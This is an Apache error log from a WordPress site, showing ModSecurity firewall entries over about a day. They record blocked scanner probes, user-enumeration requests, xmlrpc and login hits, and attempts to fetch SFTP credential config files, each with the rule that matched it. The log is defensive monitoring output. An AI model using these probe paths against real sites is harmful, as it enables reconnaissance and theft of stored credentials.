[Thu Mar 12 17:04:33.531912 2026] [:error] [pid 11985:tid 11992] [client 51.83.100.230:48570] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abKBoXcAcNujsOssVDcK0gAAAYE"]
[Thu Mar 12 17:04:35.641448 2026] [:error] [pid 8249:tid 8260] [client 51.83.100.230:59302] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abKBoyK5dL3-8Jdf0M3mKgAAAQk"]
[Thu Mar 12 17:04:37.725091 2026] [:error] [pid 8249:tid 8271] [client 51.83.100.230:59318] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abKBpSK5dL3-8Jdf0M3mMAAAARQ"]
[Thu Mar 12 17:04:39.760591 2026] [:error] [pid 8249:tid 8274] [client 51.83.100.230:59330] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abKBpyK5dL3-8Jdf0M3mOgAAARc"]
[Thu Mar 12 17:04:42.241055 2026] [:error] [pid 22063:tid 22084] [client 51.83.100.230:59338] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abKBqq0RUhS-MJyHWLQFLwAAAhM"]
[Thu Mar 12 17:04:44.576978 2026] [:error] [pid 51455:tid 51461] [client 51.83.100.230:59376] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abKBrJE0YyNxdg6PL_ANXwAAAAE"]
[Thu Mar 12 17:04:46.624756 2026] [:error] [pid 11985:tid 11993] [client 51.83.100.230:59388] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abKBrncAcNujsOssVDcK0wAAAYI"]
[Thu Mar 12 17:04:48.707178 2026] [:error] [pid 8249:tid 8269] [client 51.83.100.230:59402] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abKBsCK5dL3-8Jdf0M3mRgAAARI"]
[Thu Mar 12 18:24:24.679578 2026] [:error] [pid 51456:tid 51499] [client 103.65.236.149:49381] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "abKUWBXu8LzVixNGr0taiQAAAEw"]
[Thu Mar 12 18:24:24.897524 2026] [:error] [pid 51540:tid 51548] [client 103.65.236.149:49395] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "abKUWGOFFjotMIN2UD3mbwAAAMY"]
[Thu Mar 12 18:33:20.441520 2026] [:error] [pid 51457:tid 51524] [client 101.42.46.71:36614] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abKWcCjknw2FvT4H3DavxAAAAIo"]
[Thu Mar 12 19:41:19.387537 2026] [:error] [pid 11986:tid 12028] [client 43.166.136.202:48014] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abKmXzKqY2w-DVCrxTD_nwAAAco"]
[Fri Mar 13 00:56:53.585847 2026] [:error] [pid 47893:tid 47992] [client 43.157.172.39:56386] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abLwVQYSdu6aqxO_YucaeAAAAJE"]
[Fri Mar 13 00:59:48.376583 2026] [autoindex:error] [pid 56003:tid 56013] [client 4.205.20.132:22797] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 00:59:48.582684 2026] [:error] [pid 56003:tid 56008] [client 4.205.20.132:22797] [client 4.205.20.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.205.20.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abLxBBQtM0oeMdFWe6VWyQAAAMM"]
[Fri Mar 13 00:59:55.838913 2026] [autoindex:error] [pid 56003:tid 56028] [client 4.205.20.132:22797] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 00:59:56.051039 2026] [autoindex:error] [pid 56003:tid 56026] [client 4.205.20.132:22797] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 00:59:57.796420 2026] [autoindex:error] [pid 56003:tid 56024] [client 4.205.20.132:22797] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 01:00:05.423577 2026] [autoindex:error] [pid 56003:tid 56017] [client 4.205.20.132:22797] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 01:00:07.137796 2026] [:error] [pid 56003:tid 56012] [client 4.205.20.132:22797] [client 4.205.20.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abLxFxQtM0oeMdFWe6VXCwAAAMc"]
[Fri Mar 13 01:00:09.876949 2026] [:error] [pid 47893:tid 47988] [client 4.205.20.132:23178] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abLxGQYSdu6aqxO_YucbJQAAAI0"]
[Fri Mar 13 01:00:10.733460 2026] [:error] [pid 48029:tid 48051] [client 4.205.20.132:23211] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abLxGm7cFKMmtdGhPH-4KQAAABQ"]
[Fri Mar 13 01:00:11.574324 2026] [:error] [pid 48029:tid 48031] [client 4.205.20.132:23230] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abLxG27cFKMmtdGhPH-4KwAAAAA"]
[Fri Mar 13 01:00:12.427335 2026] [:error] [pid 48029:tid 48037] [client 4.205.20.132:23220] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abLxHG7cFKMmtdGhPH-4MwAAAAY"]
[Fri Mar 13 01:07:03.408715 2026] [:error] [pid 47894:tid 48014] [client 138.204.79.176:44473] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abLyt5iuFpRtVNR6uOJ3twAAAQw"]
[Fri Mar 13 01:09:12.835998 2026] [:error] [pid 56003:tid 56005] [client 14.139.242.82:53540] [client 14.139.242.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.139.242.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abLzOBQtM0oeMdFWe6VbVQAAAMA"]
[Fri Mar 13 01:31:07.976394 2026] [:error] [pid 47894:tid 48005] [client 182.44.8.254:56336] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abL4W5iuFpRtVNR6uOJ9tgAAAQM"]
[Fri Mar 13 02:11:54.801873 2026] [:error] [pid 56003:tid 56010] [client 94.61.33.37:42981] [client 94.61.33.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.61.33.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMB6hQtM0oeMdFWe6V6jAAAAMU"]
[Fri Mar 13 02:12:42.515847 2026] [:error] [pid 56003:tid 56025] [client 43.159.140.236:41434] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abMCGhQtM0oeMdFWe6V6_QAAANQ"]
[Fri Mar 13 04:17:42.356046 2026] [:error] [pid 61928:tid 61982] [client 138.204.79.176:44765] [client 138.204.79.176] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abMfZgod66AHekJJZioMWwAAAEU"]
[Fri Mar 13 04:19:12.831762 2026] [:error] [pid 62036:tid 62062] [client 138.204.79.176:44882] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMfwLce6g9kILuh_R69vwAAANM"]
[Fri Mar 13 04:20:42.469907 2026] [:error] [pid 61928:tid 61979] [client 138.204.79.176:44669] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMgGgod66AHekJJZioM7gAAAEI"]
[Fri Mar 13 04:21:56.843653 2026] [:error] [pid 61928:tid 61992] [client 138.204.79.176:44884] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMgZAod66AHekJJZioNPQAAAE8"]
[Fri Mar 13 04:23:22.706408 2026] [:error] [pid 62036:tid 62064] [client 138.204.79.176:45200] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMgurce6g9kILuh_R6__wAAANU"]
[Fri Mar 13 04:24:43.133473 2026] [:error] [pid 61928:tid 61989] [client 138.204.79.176:44598] [client 138.204.79.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abMhCwod66AHekJJZioN5QAAAEw"]
[Fri Mar 13 07:07:02.378986 2026] [:error] [pid 55077:tid 55085] [client 170.106.113.235:48076] [client 170.106.113.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abNHFt9Ul5ym4M-PlQIHCgAAAUY"]
[Fri Mar 13 09:50:32.852426 2026] [:error] [pid 61928:tid 61981] [client 209.87.169.135:39873] [client 209.87.169.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abNtaAod66AHekJJZipPyAAAAEQ"]
[Fri Mar 13 10:06:05.494151 2026] [:error] [pid 55077:tid 55088] [client 104.28.166.127:26511] [client 104.28.166.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "abNxDd9Ul5ym4M-PlQJZXAAAAUk"]
[Fri Mar 13 10:37:06.383578 2026] [:error] [pid 9311:tid 9368] [client 54.37.252.231:56598] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abN4UlTiCkU4QLmYwPm1wQAAAlE"]
[Fri Mar 13 10:37:08.328516 2026] [:error] [pid 9309:tid 9333] [client 54.37.252.231:36222] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abN4VKo1KEMMghNWAN9WGAAAAgo"]
[Fri Mar 13 10:37:10.340111 2026] [:error] [pid 9241:tid 9270] [client 54.37.252.231:36226] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abN4Vg48xagB6AsXkJ7YxgAAAdE"]
[Fri Mar 13 10:37:12.213406 2026] [:error] [pid 61928:tid 61997] [client 54.37.252.231:36236] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abN4WAod66AHekJJZipXMQAAAFQ"]
[Fri Mar 13 10:37:14.253501 2026] [:error] [pid 61928:tid 62001] [client 54.37.252.231:55418] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abN4Wgod66AHekJJZipXMgAAAFg"]
[Fri Mar 13 10:37:16.114881 2026] [:error] [pid 55077:tid 55093] [client 54.37.252.231:55432] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abN4XN9Ul5ym4M-PlQJfFQAAAU4"]
[Fri Mar 13 10:37:18.147683 2026] [:error] [pid 9309:tid 9327] [client 54.37.252.231:55440] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abN4Xqo1KEMMghNWAN9WowAAAgQ"]
[Fri Mar 13 10:37:20.017181 2026] [:error] [pid 9309:tid 9336] [client 54.37.252.231:55450] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abN4YKo1KEMMghNWAN9W3gAAAg0"]
[Fri Mar 13 10:37:22.046177 2026] [:error] [pid 44755:tid 44760] [client 54.37.252.231:55456] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abN4YvONf1H0XrBFE4PJtAAAAQM"]
[Fri Mar 13 10:37:23.932803 2026] [:error] [pid 9241:tid 9267] [client 54.37.252.231:37666] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abN4Yw48xagB6AsXkJ7YxwAAAc4"]
[Fri Mar 13 10:37:25.967132 2026] [:error] [pid 9309:tid 9346] [client 54.37.252.231:37670] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abN4Zao1KEMMghNWAN9XigAAAhc"]
[Fri Mar 13 10:37:27.987419 2026] [:error] [pid 9311:tid 9364] [client 54.37.252.231:37674] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abN4Z1TiCkU4QLmYwPm14gAAAk0"]
[Fri Mar 13 10:37:29.837039 2026] [:error] [pid 9309:tid 9323] [client 54.37.252.231:37688] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abN4aao1KEMMghNWAN9XzgAAAgA"]
[Fri Mar 13 10:37:31.869778 2026] [:error] [pid 44755:tid 44773] [client 54.37.252.231:37704] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abN4a_ONf1H0XrBFE4PKWQAAARA"]
[Fri Mar 13 10:37:33.884076 2026] [:error] [pid 61928:tid 61982] [client 54.37.252.231:44966] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abN4bQod66AHekJJZipXbwAAAEU"]
[Fri Mar 13 10:37:35.896052 2026] [:error] [pid 55077:tid 55097] [client 54.37.252.231:44970] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abN4b99Ul5ym4M-PlQJfaQAAAVI"]
